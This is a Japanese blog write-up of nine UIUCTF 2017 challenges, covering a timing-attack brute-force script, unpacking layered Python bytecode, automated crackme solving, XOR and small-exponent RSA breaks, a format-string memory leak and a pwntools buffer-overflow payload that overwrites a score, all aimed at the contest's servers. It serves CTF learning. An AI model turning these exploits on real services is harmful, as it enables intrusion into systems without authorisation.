st98 の日記帳


[ctf] UIUCTF 2017 の write-up

チーム Harekaze で UIUCTF 2017 に参加しました。最終的にチームで 1750 点を獲得し、順位は 13 位 (得点 163 チーム中) でした。うち、私は 9 問を解いて 1750 点を入れました。

以下、解いた問題の write-up です。

[recon 50] Baby’s first Recon

Go stalk the organizers on twitter for a bit and see what you find.

作問者は Eric Hennenfent さんということなので、Twitter アカウントからツイートを探してみるとフラグが見つかりました。

flag{71dedc47f69e66164f7a32da27b7a660}

— Eric Hennenfent (@Eric_Hennenfent) 2015年10月18日
flag{71dedc47f69e66164f7a32da27b7a660}

[recon 100] Thematic

Infosec twitter is a remarkable place.

https://www.youtube.com/watch?v=e-ORhEE9VVg

この CTF の Twitter アカウント (@uiuctf) へのリプライを探していると、フラグが見つかりました。

@UIUCTF flag{-uiuc.tf_l0v3s_taylor-} https://t.co/6eA38JE9sy

— SwiftOnSecurity (@SwiftOnSecurity) 2017年4月28日
flag{-uiuc.tf_l0v3s_taylor-}

[reversing 150] Taylor’s Magical Flag Oracle

サーバのソースの一部が与えられました。

from time import sleep
from itertools import zip_longest
from flag import flag

def compare_flag(input_flag):
    if(len(input_flag) == 0):
        return False
    for left, right in zip_longest(input_flag, flag):
        if(left != right):
            return False
        sleep(0.25) # prevent brute forcing
    return True

フラグが hoge の場合、haaa を入力すると 0.25 秒 sleep、hoaa を入力すると 0.50 秒 sleep … という感じで、合っている文字数が多ければ多いほど sleep する時間が長くなります。

総当りするスクリプトを書いてしまいましょう。

import time
import string
import sys
from pwn import *

s = remote('challenge.uiuc.tf', 11340)
res = sys.argv[1] if len(sys.argv) > 1 else ''
for c in string.lowercase + string.digits + '_{}':
  s.recvuntil('> ')
  s.sendline(res + c)
  start = time.time()
  s.recvline()
  end = time.time()
  print c, int((end - start) * 100)

s.close()
$ python s.py "flag{trc"
[+] Opening connection to challenge.uiuc.tf on port 11340: Done
a 215
b 216
c 215
d 216
e 215
f 214
g 215
h 240
i 214
...
$ python s.py "flag{trch"
a 239
b 239
c 243
d 240
e 240
f 241
g 240
h 239
i 241
j 240
k 239
l 239
m 241
n 239
o 240
p 240
q 240
r 267
s 239
...
flag{trchrus}

[reversing 350] Are we out of the woods yet?

packed.py という Python のコードが与えられました。packed.py は以下のような内容でした。

import marshal, zlib, base64, itertools
def xor_strings(_left, _k):
    out = b''
    for l, r in zip(_left, itertools.cycle(_k)):
        out += (l ^ ord(r)).to_bytes(1, byteorder='big')
    return out

def YET_eval_code(p1, p2):
    YET_code = marshal.loads(zlib.decompress(xor_strings(base64.b64decode(p2), p1)))
    eval(YET_code)

YET_eval_code("YET", b'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')

バイトコードを実行しているようです。dis を import して、evaldis.dis に差し替えてみましょう。

  1           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (marshal)
              6 STORE_NAME               0 (marshal)
              8 LOAD_CONST               0 (0)
             10 LOAD_CONST               1 (None)
             12 IMPORT_NAME              1 (zlib)
             14 STORE_NAME               1 (zlib)
             16 LOAD_CONST               0 (0)
             18 LOAD_CONST               1 (None)
             20 IMPORT_NAME              2 (base64)
             22 STORE_NAME               2 (base64)
             24 LOAD_CONST               0 (0)
             26 LOAD_CONST               1 (None)
             28 IMPORT_NAME              3 (itertools)
             30 STORE_NAME               3 (itertools)

  2          32 LOAD_CONST               2 (<code object xor_strings at 0x7f13b02998a0, file "YETpacked", line 2>)
             34 LOAD_CONST               3 ('xor_strings')
             36 MAKE_FUNCTION            0
             38 STORE_NAME               4 (xor_strings)

  8          40 LOAD_CONST               4 (<code object CLEAR_eval_code at 0x7f13b0299930, file "YETpacked", line 8>)
             42 LOAD_CONST               5 ('CLEAR_eval_code')
             44 MAKE_FUNCTION            0
             46 STORE_NAME               5 (CLEAR_eval_code)

 12          48 LOAD_NAME                5 (CLEAR_eval_code)
             50 LOAD_CONST               6 ('CLEAR')
             52 LOAD_CONST               7 (b'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')
             54 CALL_FUNCTION            2
             56 POP_TOP
             58 LOAD_CONST               1 (None)
             60 RETURN_VALUE

O9AI... という長いバイト列を base64 デコード、CLEAR と xor して zlib.decompress するとまた似たようなバイトコードが出てきました。これを何度か繰り返すと以下のようなバイトコードが出てきました。

  1           0 LOAD_CONST               0 (1338)
              2 STORE_NAME               0 (x0)
  2           4 LOAD_CONST               1 (413)
              6 STORE_NAME               1 (x1)
  3           8 LOAD_CONST               2 (3.5699)
             10 STORE_NAME               2 (r)
  4          12 LOAD_NAME                0 (x0)
             14 STORE_NAME               3 (xn)
  5          16 LOAD_NAME                1 (x1)
             18 STORE_NAME               4 (xk)
  7          20 LOAD_CONST               3 ('')
             22 STORE_NAME               5 (accumulated)
  9          24 LOAD_NAME                6 (input)
             26 LOAD_CONST               4 ('I N P U T: ')
             28 CALL_FUNCTION            1
             30 STORE_NAME               7 (user)
 10          32 SETUP_EXCEPT            14 (to 48)
 11          34 LOAD_NAME                8 (bytes)
             36 LOAD_ATTR                9 (fromhex)
             38 LOAD_NAME                7 (user)
             40 CALL_FUNCTION            1
             42 STORE_NAME               7 (user)
             44 POP_BLOCK
             46 JUMP_FORWARD            36 (to 84)
 12     >>   48 DUP_TOP
             50 LOAD_NAME               10 (ValueError)
             52 COMPARE_OP              10 (exception match)
             54 POP_JUMP_IF_FALSE       82
             56 POP_TOP
             58 POP_TOP
             60 POP_TOP
 13          62 LOAD_NAME               11 (print)
             64 LOAD_CONST               5 ('Non-hex byte entered!')
             66 CALL_FUNCTION            1
             68 POP_TOP
 14          70 LOAD_NAME               12 (exit)
             72 LOAD_CONST              14 (-1)
             74 CALL_FUNCTION            1
             76 POP_TOP
             78 POP_EXCEPT
             80 JUMP_FORWARD             2 (to 84)
        >>   82 END_FINALLY
 15     >>   84 LOAD_CONST               7 (b'\x8b*<LH~\xdc\xc4\xfc\xad\xff9\xe8h\x8d^\xf2\xc3\xa7\xc9&\x8f \xeaE_\xb0T\x05\xe5\xff\x9cD\x9e\x84\x13k\x0f~\xb5\x9cUm\x08\\')
             86 STORE_NAME              13 (flag)
 16          88 SETUP_LOOP             152 (to 242)
             90 LOAD_NAME               14 (zip)
             92 LOAD_NAME               13 (flag)
             94 LOAD_NAME                7 (user)
             96 CALL_FUNCTION            2
             98 GET_ITER
        >>  100 FOR_ITER               138 (to 240)
            102 UNPACK_SEQUENCE          2
            104 STORE_NAME              15 (flagchar)
            106 STORE_NAME              16 (userchar)
 17         108 LOAD_NAME                2 (r)
            110 LOAD_NAME                3 (xn)
            112 BINARY_MULTIPLY
            114 LOAD_CONST               6 (1)
            116 LOAD_NAME                3 (xn)
            118 BINARY_SUBTRACT
            120 BINARY_MULTIPLY
            122 LOAD_NAME                0 (x0)
            124 BINARY_MODULO
            126 STORE_NAME               3 (xn)
 18         128 LOAD_NAME               17 (int)
            130 LOAD_NAME                3 (xn)
            132 LOAD_CONST              15 (100)
            134 BINARY_MULTIPLY
            136 CALL_FUNCTION            1
            138 LOAD_CONST              10 (255)
            140 BINARY_MODULO
            142 STORE_NAME               3 (xn)
 20         144 LOAD_NAME                2 (r)
            146 LOAD_NAME                4 (xk)
            148 BINARY_MULTIPLY
            150 LOAD_CONST               6 (1)
            152 LOAD_NAME                4 (xk)
            154 BINARY_SUBTRACT
            156 BINARY_MULTIPLY
            158 LOAD_NAME                1 (x1)
            160 BINARY_MODULO
            162 STORE_NAME               4 (xk)
 21         164 LOAD_NAME               17 (int)
            166 LOAD_NAME                4 (xk)
            168 LOAD_CONST              16 (100)
            170 BINARY_MULTIPLY
            172 CALL_FUNCTION            1
            174 LOAD_CONST              10 (255)
            176 BINARY_MODULO
            178 STORE_NAME               4 (xk)
 23         180 LOAD_NAME               18 (chr)
            182 LOAD_NAME                3 (xn)
            184 LOAD_NAME               15 (flagchar)
            186 BINARY_XOR
            188 CALL_FUNCTION            1
            190 STORE_NAME              19 (flagbyte)
 24         192 LOAD_NAME               18 (chr)
            194 LOAD_NAME                4 (xk)
            196 LOAD_NAME               16 (userchar)
            198 BINARY_XOR
            200 CALL_FUNCTION            1
            202 STORE_NAME              20 (userbyte)
 26         204 LOAD_NAME               19 (flagbyte)
            206 LOAD_NAME               20 (userbyte)
            208 COMPARE_OP               3 (!=)
            210 POP_JUMP_IF_FALSE      230
 27         212 LOAD_NAME               11 (print)
            214 LOAD_CONST              11 ('Still in the woods')
            216 CALL_FUNCTION            1
            218 POP_TOP
 28         220 LOAD_NAME               12 (exit)
            222 LOAD_CONST              17 (-1)
            224 CALL_FUNCTION            1
            226 POP_TOP
            228 JUMP_ABSOLUTE          100
 30     >>  230 LOAD_NAME                5 (accumulated)
            232 LOAD_NAME               20 (userbyte)
            234 INPLACE_ADD
            236 STORE_NAME               5 (accumulated)
            238 JUMP_ABSOLUTE          100
        >>  240 POP_BLOCK
 32     >>  242 LOAD_NAME               11 (print)
            244 LOAD_CONST              12 ('Looking at it now, it all seems so simple:')
            246 LOAD_NAME                5 (accumulated)
            248 CALL_FUNCTION            2
            250 POP_TOP
            252 LOAD_CONST              13 (None)
            254 RETURN_VALUE

これをデコンパイルすると次のようなコードになります。

x0 = 1338
x1 = 413
r = 3.5699
xn = x0
xk = x1

accumulated = ''

user = input('I N P U T: ')
try:
  user = bytes.fromhex(user)
except ValueError:
  print('Non-hex byte entered!')
  exit(-1)
flag = b'\x8b*<LH~\xdc\xc4\xfc\xad\xff9\xe8h\x8d^\xf2\xc3\xa7\xc9&\x8f \xeaE_\xb0T\x05\xe5\xff\x9cD\x9e\x84\x13k\x0f~\xb5\x9cUm\x08\\'
for flagchar, userchar in zip(flag, user):
  xn = (r * xn) * (1 - xn) % x0
  xn = int(xn * 100) % 255

  xk = (xk * r) * (1 - xk) % x1
  xk = int(xk * 100) % 255

  flagbyte = chr(xn ^ flagchar)
  userbyte = chr(xk ^ userchar)

  if flagbyte != userbyte:
    print('Still in the woods')
    exit(-1)

  accumulated += userbyte

print('Looking at it now, it all seems so simple:', accumulated)

適当にいじってフラグを手に入れましょう。

x0 = 1338
x1 = 413
r = 3.5699
xn = x0
xk = x1

accumulated = ''

flag = b'\x8b*<LH~\xdc\xc4\xfc\xad\xff9\xe8h\x8d^\xf2\xc3\xa7\xc9&\x8f \xeaE_\xb0T\x05\xe5\xff\x9cD\x9e\x84\x13k\x0f~\xb5\x9cUm\x08\\'
for flagchar in flag:
  xn = (r * xn) * (1 - xn) % x0
  xn = int(xn * 100) % 255
  xk = (xk * r) * (1 - xk) % x1
  xk = int(xk * 100) % 255
  flagbyte = chr(xn ^ flagchar)
  accumulated += flagbyte

print(accumulated)
$ python s.py
flag{th3_m0nst3rs_turned_0ut_2_be_ju5t_tr33s}
flag{th3_m0nst3rs_turned_0ut_2_be_ju5t_tr33s}

[reversing 400] scratches

nc challenge.uiuc.tf 11347 というコマンドが与えられました。

試しに接続してみると、base64 エンコードされた ELF が降ってきました。デコードして実行してみましょう。

$ ./1.bin
a
sounds fake but ok

入力が求められたので適当に入力すると、sounds fake but ok と出力されました。ltrace を使って実行してみましょう。

$ ltrace ./1.bin
__libc_start_main(0x400626, 1, 0x7ffd5c491ee8, 0x400710 <unfinished ...>
read(0hoge
, "hoge\n", 17)                                                                             = 5
strlen("msbruddxvxtayggvf")                                                                       = 17
puts("sounds fake but ok"sounds fake but ok
)                                                                        = 19
+++ exited (status 1) +++

strlen("msbruddxvxtayggvf") とあります。この文字列を入力してみましょう。

$ ./1.bin
msbruddxvxtayggvf
you got it!

今度は you got it! と出力されました。これをサーバで入力するとまた別の base64 エンコードされた ELF が降ってきました。手作業でやるのは面倒なので自動化してしまいましょう。

import re
from subprocess import *
from pwn import *

def get_binary(s, t):
  r = s.recvline()
  if 'You got all the crackmes we have right now!' in r:
    s.interactive()
  r += s.recvuntil("What's the flag?")
  if 'error' in r:
    s.sendline('a')
    get_binary(s, t)
    return
  r = r[r.index('f0VM'):r.index("What's the flag?")]
  with open(t, 'wb') as f:
    f.write(r.decode('base64'))
  call(['chmod', '+x', t])

s = remote('challenge.uiuc.tf', 11347)

i = 0
while True:
  get_binary(s, '1.bin')
  p = Popen(['ltrace', './1.bin'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
  _, e = p.communicate('hoge')
  o = re.findall(r'strlen\("([a-z]+)"\)', e)[0]
  log.info('%d: %s' % (i, o))
  s.sendline(o)
  s.recvline()
  log.info(s.recvline())
  i += 1

s.close()
$ python s.py
[+] Opening connection to challenge.uiuc.tf on port 11347: Done
[*] 0: rbrrkuoivtrvccvtm
[*] Seems legit
[*] 1: rmcxrguyzxbibsgef
[*] Seems legit
[*] 2: ctwurlghkgmxmrajs
[*] Seems legit
...
[*] 100: jacdwvhotqadtcnpr
[*] Seems legit
[*] 101: msbruddxvxtayggvf
[*] Seems legit
[*] Switching to interactive mode
Success, flag is flag{powered_up_like_a_mophie}
flag{powered_up_like_a_mophie}

[crypto 100] High School Crypto

encrypt.py という Python のコードと、encryptme.txt.out というそのコードを使って暗号化されたバイナリが与えられます。encrypt.py は以下のような内容でした。

import sys, itertools
if(len(sys.argv) != 3):
    print("Usage: [FILE] [KEY]")
    exit(-1)

filename = sys.argv[1]
key = sys.argv[2]

with open(filename, 'rb') as plaintext:
    raw = plaintext.read()
    print(len(raw))
    with open(filename + '.out', 'wb') as ciphertext:
        for l, r in zip(raw, itertools.cycle(key)):
            ciphertext.write( (l ^ ord(r)).to_bytes(1, byteorder='big') )

ただの xor のようです。xortool を使ってみましょう。

$ xortool encryptme.txt.out -l 9 -c 20
2 possible key(s) of length 9:
\x14UICK\x16AND
\x14UICKSAND
Found 2 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

QUICKSAND を鍵として xor してみるとフラグが出てきました。

flag{st8_0f_grac3}

[crypto 200] babyrsa

babyrsa.zip という zip ファイルが与えられます。展開すると babyrsa.py という Python のコード、babyrsa.txt というそのコードを実行した出力が出てきました。

babyrsa.py は以下のような内容でした。

#! /usr/bin/env python2

from Crypto.PublicKey import RSA

key = RSA.generate(4096, e=5)
msg = "welcome to uiuctf!\nyour super secret flag is: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
m = int(msg.encode("hex"), 16)
c = pow(m, key.e, key.n)

f = open("babyrsa.txt", "w")
print >> f, "n = {}".format(key.n)
print >> f, "e = {}".format(key.e)
print >> f, "c = {}".format(c)

与えられた c の 5 乗根を計算するとフラグが得られました。

flag{c4n_w3_get_s0m3b0dy_t0_sm1th_some_c0pper_pls}

[pwn 200] goodluck

goodluck という ELF ファイルが与えられます。どんなファイルか調べてみましょう。

$ file goodluck
goodluck: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped
$ ./goodluck
what's the flag
%x
You answered:
38fdf000
But that was totally wrong lol get rekt

FSB が出来るようです。フラグを探してみましょう。

$ nc challenge.uiuc.tf 11342
what's the flag
%10$llx
You answered:
776c617b67616c66
But that was totally wrong lol get rekt
$ nc challenge.uiuc.tf 11342
what's the flag
%11$llx
You answered:
657669675f737961
But that was totally wrong lol get rekt
$ nc challenge.uiuc.tf 11342
what's the flag
%12$llx
You answered:
7d253031315f
But that was totally wrong lol get rekt
$ nc challenge.uiuc.tf 11342
what's the flag
%13$llx
You answered:
1a4e752176817900
But that was totally wrong lol get rekt

これを繋げるとフラグが得られました。

flag{always_give_110%}

[pwn 200] snekquiz

challenge.uiuc.tf 11343 というサーバの情報だけが与えられました。接続してみましょう。

$ nc challenge.uiuc.tf 11343
Let's play snekquiz! This snek is involved in rituals in Myanmar
hoge
OK, now this snek is the most popular pet snek in the world
fuga
Now this SNAKE backstabbed the greatest creative genius of the 21st century
piyo
On question one, the answer was king cobra
You were WRONG

On question one, the answer was ball python
You were WRONG

On question one, the answer was taylor swift
You were WRONG

You only scored 0, you need 5 points for the flag

クイズが出来るようです。もう一度接続して全問正解してみましょう。

$ nc challenge.uiuc.tf 11343
Let's play snekquiz! This snek is involved in rituals in Myanmar
king cobra
OK, now this snek is the most popular pet snek in the world
ball python
Now this SNAKE backstabbed the greatest creative genius of the 21st century
taylor swift
On question one, the answer was king cobra
You were correct!

On question one, the answer was ball python
You were correct!

On question one, the answer was taylor swift
You were correct!

You only scored 3, you need 5 points for the flag

全問正解しても、フラグを手に入れるにはスコアが 2 点足りないようです。オーバーフローできないか試してみましょう。

$ gdb -batch -ex 'pattern_create 20'
'AAA%AAsAABAA$AAnAACA'
$ nc challenge.uiuc.tf 11343
Let's play snekquiz! This snek is involved in rituals in Myanmar
a
OK, now this snek is the most popular pet snek in the world
a
Now this SNAKE backstabbed the greatest creative genius of the 21st century
AAA%AAsAABAA$AAnAACA
On question one, the answer was king cobra
You were WRONG

On question one, the answer was ball python
You were WRONG

On question one, the answer was taylor swift
You were WRONG

Score greater than 5 detected! You must be cheating with a score like 1094926657
$ gdb -batch -ex 'pattern_offset 1094926657'
1094926657 found at offset: 16

スコアが書き換えられてしまいました。5 点に書き換えてしまいましょう。

from pwn import *
s = remote('challenge.uiuc.tf', 11343)
print s.recvline()
s.sendline('a')
print s.recvline()
s.sendline('a')
print s.recvline()
s.sendline('A' * 16 + p32(5))
print s.recvall()
s.close()
$ python s.py
[+] Opening connection to challenge.uiuc.tf on port 11343: Done
Let's play snekquiz! This snek is involved in rituals in Myanmar

OK, now this snek is the most popular pet snek in the world

Now this SNAKE backstabbed the greatest creative genius of the 21st century

[+] Receiving all data: Done (246B)
[*] Closed connection to challenge.uiuc.tf port 11343
On question one, the answer was king cobra
You were WRONG

On question one, the answer was ball python
You were WRONG

On question one, the answer was taylor swift
You were WRONG

Amazing! Here's the flag
flag{remember_remember_the_16th_of_july}
flag{remember_remember_the_16th_of_july}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳